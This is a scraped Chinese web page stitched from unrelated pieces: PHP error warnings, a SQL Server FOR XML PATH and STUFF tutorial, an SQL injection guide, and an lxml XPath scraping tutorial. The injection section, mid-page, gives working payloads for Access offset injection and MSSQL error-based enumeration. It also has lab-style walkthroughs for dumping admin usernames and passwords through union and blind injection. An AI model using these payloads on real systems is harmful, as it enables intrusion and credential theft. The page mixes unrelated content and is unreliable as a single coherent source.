Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
一道是關于合并同類型數據為一行的題,使用SQL Server 2017版本及以上的直接使用STRING_AGG()函數即可,但是2016版本以下是沒有這個功能的,那該如何求解?
今天就給大家介紹一下FOR XML PATH,它就是用來處理低版本數據庫中數據合并的,是一個比較古老的功能了,新版本中也依然還能使用。
FOR XML PATH 是將查詢結果集以XML形式展現,將多行的結果,展示在同一行。
我們用實例來給大家介紹它的神奇之處。
我們創建一個統計學生愛好的表
CREATE TABLE Stu_Hobby(
Stu_Name NVARCHAR(20),--姓名
Age INT,--年齡
Hobby NVARCHAR(20) --愛好
)
INSERT INTO Stu_Hobby
VALUES ( N'張三',19,N'踢足球'),
( N'張三',19,N'打籃球'),
( N'張三',19,N'游泳'),
( N'李四',21,N'看電影'),
( N'李四',21,N'閱讀'),
( N'王五',22,N'唱歌'),
( N'王五',22,N'玩游戲'),
( N'馬六',19,N'踢足球'),
( N'趙七',20,N'爬山'),
( N'趙七',20,N'跑步')
查詢學生愛好表Stu_Hobby里面的數據:
測試數據建立好后,我們開始對這個表里面的數據進行查詢,并使用上FOR XML PATH。
SELECT *FROM dbo.Stu_Hobby FOR XML PATH;
結果如下:
它會生成一段XML代碼,我們點擊這行代碼會彈出一整個XML的頁面,由于篇幅較長,我們只截取一部分,具體如下:
此外我們還可以在FOR XML PATH的后面寫參數,如果后面接參數,會將節點換成參數名稱,例如:
SELECT *
FROM dbo.Stu_Hobby FOR XML PATH(hobby)
結果如下圖:
已經變成了我們添加的參數了。
跟我們實際需求相接近的是下面這個功能
我們可以單獨輸出某個字段的值,例如我們想看看學生愛好表中Hobby這一列具體有一些什么值,可以這樣寫:
SELECT Hobby+'、'
FROM dbo.Stu_Hobby FOR XML PATH('')
注意:上面的+是字段拼接,就是將兩個字符串用+連成一個字符串。然后我們把XML中的給去掉。
結果如下:
可以看到我們寫的所有愛好都給列出來了,沒有去掉重復的,可以理解成把列里的值都顯示出來了。
我們現在想把上面的學生表里每個學生的愛好單獨顯示一行,愛好用"、"隔開。
SELECT
A.Stu_Name,
A.Age,
(SELECT Hobby+'、'
FROM [dbo].Stu_Hobby
WHERE
--必須加的匹配條件
Stu_Name=A.Stu_Name AND Age=A.Age
FOR XML PATH('')) AS Hobby
FROM [dbo].Stu_Hobby A
GROUP BY A.Stu_Name,A.Age
見證奇跡的時刻到了!!!
對比我們先前建的表,這里已經將Hobby列的數據按每個學生變成了一行。
上面的WHERE條件是必須要的,如果去掉會怎么樣呢?我們把WHERE條件注釋掉看看會怎么樣?
SELECT
A.Stu_Name,
A.Age,
(SELECT Hobby+'、'
FROM [dbo].Stu_Hobby
--WHERE
--必須加的匹配條件
--Stu_Name=A.Stu_Name AND Age=A.Age
FOR XML PATH('')) AS Hobby
FROM [dbo].Stu_Hobby A
GROUP BY A.Stu_Name,A.Age
結果如下:
就會將Hobby列所有值都顯示出來,很顯然這不是我們要的結果
不知道小伙伴們有沒有發現Hobby列的結果尾部多了一個"、",看著好別扭,有沒有什么辦法將它去掉呢?答案是肯定的。
先用一個LEFT()和LEN()函數來處理一下Hobby列
SELECT
T.Stu_Name,
T.Age,
LEFT(T.Hobby,LEN(T.Hobby)-1) AS Hobby
FROM
(SELECT
A.Stu_Name,
A.Age,
(SELECT Hobby+'、'
FROM [dbo].Stu_Hobby
WHERE
--必須加的匹配條件
Stu_Name=A.Stu_Name AND Age=A.Age
FOR XML PATH('')) AS Hobby
FROM [dbo].Stu_Hobby A
GROUP BY A.Stu_Name,A.Age
) T
結果如下:
這樣我們的需求就得到了完美解決,但是這個代碼有點長額,能不能簡短一點呀?答案也是肯定滴!在將代碼精簡之前,我們需要先給大家介紹一個配合使用的函數:
STUFF()函數用于刪除指定長度的字符,并可以在指定的起點處插入另一組字符。STUFF()函數中如果開始位置或長度值是負數,或者如果開始位置大于第一個字符串的長度,將返回空字符串。如果要刪除的長度大于第一個字符串的長度,將刪除到第一個字符串中的第一個字符。
STUFF ( character_expression , start , length ,character_expression )
character_expression:一個字符數據表達式。character_expression 可以是常量、變量,也可以是字符列或二進制數據列。
start :一個整數值,指定刪除和插入的開始位置。如果 start 或 length 為負,則返回空字符串。如果 start 比第一個 character_expression 長,則返回空字符串。start 可以是 bigint 類型。
length:一個整數,指定要刪除的字符數。如果 length 比第一個 character_expression 長,則最多刪除到最后一個 character_expression 中的最后一個字符。length 可以是 bigint 類型。
如果 character_expression 是受支持的字符數據類型,則返回字符數據。如果 character_expression 是一個受支持的 binary 數據類型,則返回二進制數據。
1.如果開始位置或長度值是負數,或者如果開始位置大于第一個字符串的長度,將返回空字符串。如果要刪除的長度大于第一個字符串的長度,將刪除到第一個字符串中的第一個字符。
2.如果結果值大于返回類型支持的最大值,則產生錯誤。
--以上信息來源微軟官方文檔
這定義看的頭暈,我們還是來看看怎么使用吧
實例:
SELECT STUFF('abcdefg',1,0,'1234') --結果為'1234abcdefg'
SELECT STUFF('abcdefg',1,1,'1234') --結果為'1234bcdefg'
SELECT STUFF('abcdefg',2,1,'1234') --結果為'a1234cdefg'
SELECT STUFF('abcdefg',2,2,'1234') --結果為'a1234defg'
說了這么多,我們看看STUFF怎么解決我們上面的問題吧,上代碼:
SELECT
A.Stu_Name,
A.Age,
STUFF(
(SELECT '、'+Hobby
FROM [dbo].Stu_Hobby
WHERE
--必須加的匹配條件
Stu_Name=A.Stu_Name AND Age=A.Age
FOR XML PATH('')
),1,1,'') AS Hobby
FROM [dbo].Stu_Hobby A
GROUP BY A.Stu_Name,A.Age
是不是比LEFT簡短一些啦?我們看一下結果是不是我們想要的。
完美!
好了,FOR XML PATH就介紹到這里了,小伙伴可以對比以上兩種優化的方法,自行比較哪種方式更加簡單易懂。
SQL作用在關系型數據庫上面,什么是關系型數據庫?關系型數據庫是由一張張的二維表組成的, 常見的關系型數據庫廠商有MySQL、SQLite、SQL Server、Oracle,由于MySQL是免費的,所以企業一般用MySQL的居多。Web SQL是前端的數據庫,它也是本地存儲的一種,使用SQLite實現,SQLite是一種輕量級數據庫,它占的空間小,支持創建表,插入、修改、刪除表格數據,但是不支持修改表結構,如刪掉一縱列,修改表頭字段名等。但是可以把整張表刪了。同一個域可以創建多個DB,每個DB有若干張表。
與數據庫產生交互就有可能存在注入攻擊,不只是MySQL數據庫,還有Oracle,MongoDB等數據庫也可能會存在注入攻擊。
數據庫架構組成,數據庫高權限操作
Access,Mysql,mssql(Microsoft SQL server),mongoDB,postgresql,sqlite,oracle,sybase等
Access
表名
列名
數據
Access數據庫保存在網站源碼下面,自己網站數據庫獨立存在,所以無法進行跨庫,也沒有文件讀寫的操作。
除了Access其他數據庫組成架構基本都是大同小異。
mysql mssql等
數據庫名A
表名
列名
數據
數據庫名B
。。。。。。
每個數據庫功能不同,我們采取注入的時候攻入方式不同
什么決定網站注入點用戶權限?
數據庫配置文件的用戶,是誰連接的
如果遇到列名猜解不到的情況,則可以使用Access偏移注入
借用數據庫的自連接查詢讓數據庫內部發生亂序,從而偏移出所需要的字段在我們的頁面上顯示
解決知道Access數據庫中知道表名,但是得不到字段的sql注入困境
a. 成功與否看技巧與運氣,不能保證100%成功。
b. 無需管理員賬號密碼字段,直接爆賬號密碼
a. 已知管理表名
b. 已知任意字段(一個或多個會增加機率,最常見的就是id)
a. 管理表的字段數越少越好(最好是三個:id 賬號字段 密碼字段)
b. 當前注入點的腳本內查詢的表內的字段數越多越好
a. 判斷字段數
b. 判斷表名
c. 開始偏移注入
本地Access偏移注入靶場
偏移量就是逐步增加或遞減,直到出現結果。*表示可代替的字符串,用*代替22,返回界面依舊報錯,然后用*代替21,依次遞減。22-16=6,6表示該表中的列名個數。
*代表6個,后面一串字符代表兩倍,就相當于2倍*,12個
爆列名數據
一級偏移語句:union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)
二級偏移語句:union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)
二級偏移,3倍*,所以為18個
查看登錄框源代碼的表單值或觀察URL特征等也可以針對表或列獲取不到的情況
猜解表名可能是ZB_admin,觀察網站地址特征,是否有前綴。
或者看登錄框表單值
Microsoft SQL Server 是一個全面的數據庫平臺,使用集成的商業智能 (BI)工具提供了企業級的數據管理。Microsoft SQL Server 數據庫引擎為關系型數據和結構化數據提供了更安全可靠的存儲功能,使您可以構建和管理用于業務的高可用和高性能的數據應用程序。
①判斷數據庫類型
and exists (select * from sysobjects)--返回正常為mssql(也名sql server)
and exists (select count(*) from sysobjects)--有時上面那個語句不行就試試這個哈
②判斷數據庫版本
and 1=@@version--這個語句要在有回顯的模式下才可以哦
and substring((select @@version),22,4)='2008'--適用于無回顯模式,后面的2008就是數據庫版本, 返回正常就是2008的復制代碼第一條語句執行效果圖(類似):第二條語句執行效果圖:(如果是 2008的話就返回正常)
③獲取所有數據庫的個數 (一下3條語句可供選擇使用)
1. and 1=(select quotename(count(name)) from master..sysdatabases)--
2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --
3. and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) --
and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --
說明:dbid從1-4的數據庫一般為系統數據庫.
⑤獲取數據庫 (該語句是一次性獲取全部數據庫的,且語句只適合>=2005,兩條語句可供選擇使用)
and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--
⑥獲取當前數據庫
and db_name()>0
and 1=(select db_name())--
⑦獲取當前數據庫中的表(有2個語句可供選擇使用)【下列語句可一次爆數據庫所有表(只限于 mssql2005及以上版本)】
and 1=(select quotename(name) from 數據庫名..sysobjects where xtype='U' FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 數據庫名..sysobjects where xtype='U' FOR XML PATH(''))--
⑧獲得表里的列
一次爆指定表的所有列(只限于mssql2005及以上版本):
and 1=(select quotename(name) from 數據庫名..syscolumns where id=(select id from 數據庫名..sysobjects where name='指定表名') FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from 數據庫名..syscolumns where id=(select id from 數據庫名..sysobjects where name='指定表名') FOR XML PATH(''))--
⑨獲取指定數據庫中的表的列的數據庫
逐條爆指定表的所有字段的數據(只限于mssql2005及以上版本):
and 1=(select top 1 * from 指定數據庫..指定表名 where排除條件 FOR XML PATH(''))--
一次性爆N條所有字段的數據(只限于mssql2005及以上版本):
and 1=(select top N * from 指定數據庫..指定表名 FOR XML PATH(''))--復制代碼第一條語句:and 1=(select top 1 * from 指定數據庫..指定表名 FOR XML PATH(''))--測試效果圖:----------------------------------加上where條件篩選結果出來會更加好,如:where and name like '%user%' 就會篩選出含有user關鍵詞的出來。用在篩選表段時很不錯。
轉自:http://www.myhack58.com/Article/html/3/8/2015/63146.htm
https://www.webshell.cc/524.html
https://www.cnblogs.com/yilishazi/p/14710349.html
https://www.jianshu.com/p/ba0297da2c2e
https://www.cnblogs.com/peterpan0707007/p/8242119.html
https://blog.csdn.net/weixin_33881753/article/details/87981552
https://www.secpulse.com/archives/3278.html
1.找到注入點 and 1=1 and 1=2 測試報錯
2.order by 5 # 到5的時候報錯,獲取字段總數為4
3.id=0(不是1就行,強行報錯) union select 1,2,3,4 # 聯合查詢,2和3可以顯示信息
4.獲取數據庫信息
user()==>root
database()==>mozhe_Discuz_StormGroup
version()==>5.7.22-0ubuntu0.16.04.1
5.獲取數據庫表
table_name 表名
information_schema.tables 系統生成信息表
table_schema=數據庫名16進制或者用單引號括起來
改變limit 0,1中前一個參數,得到兩個表 StormGroup_member notice
6.獲取列名
結果如下 id,name,password,status
7.脫褲
1.and 1=2 報錯找到注入點
2.order by 獲取總字段
3.猜解表名 and exists (select * from admin) 頁面返回正常,說明存在admin表
4.猜解列名 and exists(select id from admin) 頁面顯示正常,admin表中存在id列 username,passwd 同樣存在
5.脫褲 union select 1,username,passwd,4 from admin
1.and 1=2報錯
2.order by N# 獲取總字段
3.猜表名 and exists(select * from manage) 表名manage存在
4.猜解列名 and exists(select id from manage) 列名id存在,同樣username,password也存在
5.脫褲 and exists (select id from manage where id=1 ) 證明id=1存在
and exists (select id from manage where%20 len(username)=8 and id=1 ) 猜解username字段長度為8
and exists (select id from manage where%20 len(password)=16 and id=1 ) 猜解password字段長度為16
可用Burp的Intruder功能輔助猜解
猜解username第1到8位的字符,ASCII轉碼 admin_mz
猜解password第1到16位的字符,ASCII轉碼(Burp 爆破)
轉ASCII的py腳本:
72e1bfc3f01b7583 MD5解密為97285101
1.找注入點 and 1=1
2.order by N 猜字段 4
3.猜數據庫
offset==>0~2
有三個數據庫:
WSTMart_reg
notice_sybase
sqlite_sequence
4.猜列
共有3個字段:
id,name,password
5.脫褲
1.id=1′ 單引號注入報錯
2.閉合語句,查看所有集合
3.查看指定集合的數據
[0] 代表第一條數據,可遞增
1.and 1=2 判斷注入點
2.order by N 獲取字段數
3.爆當前數據庫
GAME_CHARACTER
4.列表
NAME
5.脫褲
1.and 1=2 判斷注入點
2.order by N 獲取字段
3.爆數據庫
4.列表
5.列字段
6.拖庫
1.and 1=2 判斷注入點
2.order by N 獲取總字段
3.爆數據庫
4.列表
5.列字段
6.查狀態
結果為:zhang
7.反選爆用戶名
結果為:mozhe
8.猜解密碼
1.and 1=1
2.order by
3.爆數據庫
4.列表
5.列字段
6.拖庫
加上狀態:1 where STATUS=1
、安裝
XPath (XML Path Language) 是一門在 HTML\XML 文檔中查找信息的語言,可用來在 HTML\XML 文檔中對元素和屬性進行遍歷。
pip install lxml
二、使用案例
from lxml import etree
import requests
import asyncio
import functools
import re
import json
house_info=[]
'''異步請求獲取鏈家每頁數據'''
async def get_page(page_index):
headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36'
}
request=functools.partial(requests.get, f'https://sh.lianjia.com/ershoufang/pudong/pg{page_index}/',
headers=headers)
loop=asyncio.get_running_loop()
response=await loop.run_in_executor(None, request)
return response
'''使用xpath獲取房屋信息'''
def get_house_info(html):
title_list=html.xpath('//a[@data-el="ershoufang"]/text()') # 房屋title
house_pattern_list=html.xpath('//div[@class="houseInfo"]/text()') # 房屋格局
price_list=html.xpath('//div[@class="unitPrice"]/span/text()') # 房屋單價
location_list=html.xpath('//div[@class="positionInfo"]') # 房屋位置信息
total_list=html.xpath('//div[contains(@class,"totalPrice")]') # 總價
for index, item in enumerate(zip(title_list, house_pattern_list, price_list)):
location_item=location_list[index]
total_item=total_list[index]
house_info.append({
'title': item[0],
'house_pattern': item[1],
'price': item[2],
'location': location_item.xpath('./a[1]/text()')[0] + location_item.xpath('./a[last()]/text()')[0],
'total': total_item.xpath('./span/text()')[0] + total_item.xpath('./i[last()]/text()')[0]
})
'''異步獲取第一頁數據,拿到第一頁房屋信息,并返回分頁總數和當前頁'''
async def get_first_page():
response=await get_page(1)
#etree.HTML 將獲取到的html字符串轉為可操作的Element對象
get_house_info(etree.HTML(response.text))
if __name__=='__main__':
asyncio.run(get_first_page())
三、etree 模塊
from lxml import etree
'''
element_name:要創建的元素的名稱
attrib:元素的屬性字典
nsmap:命名空間映射字典,用于指定元素的命名空間
'''
element=etree.Element('div',attrib={'class':'test'},nsmap={"ns": "http://example.com/ns"})
from lxml import etree
'''
parent:element對象
element_name:要創建的元素的名稱
attrib:元素的屬性字典
nsmap:命名空間映射字典,用于指定元素的命名空間
'''
element=etree.Element('div', attrib={'class': 'test'}, nsmap={"ns": "http://example.com/ns"})
span_element=etree.SubElement(element,'span')
span_element.text='我是span'
print(element.xpath('//div/span/text()'))
from lxml import etree
'''
text:解析的XML字符串
parse:解析器對象,默認lxml.etree.XMLParser、lxml.etree.HTMLParser
base_url: 基本URL,用于解析相對URL。如果HTML文檔中包含相對URL,解析器將使用base_url來將其轉換為絕對URL。如果未提供base_url,則相對URL將保持不變
'''
html_str='<div class="test"><span>我是span</span></div>'
element=etree.fromstring(html_str)
print(element.xpath('//div/span/text()'))
from lxml import etree
'''
xml_string:解析的XML字符串
parse:解析器對象,默認lxml.etree.HTMLParser
base_url: 基本URL,用于解析相對URL。如果HTML文檔中包含相對URL,解析器將使用base_url來將其轉換為絕對URL。如果未提供base_url,則相對URL將保持不變
'''
html_str='<div class="test"><span>我是span</span></div>'
element=etree.HTML(html_str)
print(element.xpath('//div/span/text()'))
from lxml import etree
'''
text:解析的XML字符串
parse:解析器對象,默認lxml.etree.XMLParser
base_url: 基本URL,用于解析相對URL。如果HTML文檔中包含相對URL,解析器將使用base_url來將其轉換為絕對URL。如果未提供base_url,則相對URL將保持不變
'''
html_str='<div class="test"><span>我是span</span></div>'
element=etree.XML(html_str)
print(element.xpath('//div/span/text()'))
四、element 對象
from lxml import etree
element=etree.Element('div', attrib={'class': 'test'})
span_element=etree.SubElement(element, 'span')
span_element.text='我是span'append_child=etree.Element('div', attrib={'class': 'append'})
append_child.text='我是append_child'insert_child=etree.Element('div', attrib={'class': 'insert'})
insert_child.text='我是insert_child'element.append(append_child)
element.insert(0,insert_child)
print(element.xpath('//div/span/text()'))
print(element.xpath('//div/div[@class="append"]/text()'))
print(element.xpath('//div/div[@class="insert"]/text()'))
五、elementTree 對象
六、parse 解析器對象
*請認真填寫需求信息,我們會在24小時內與您取得聯系。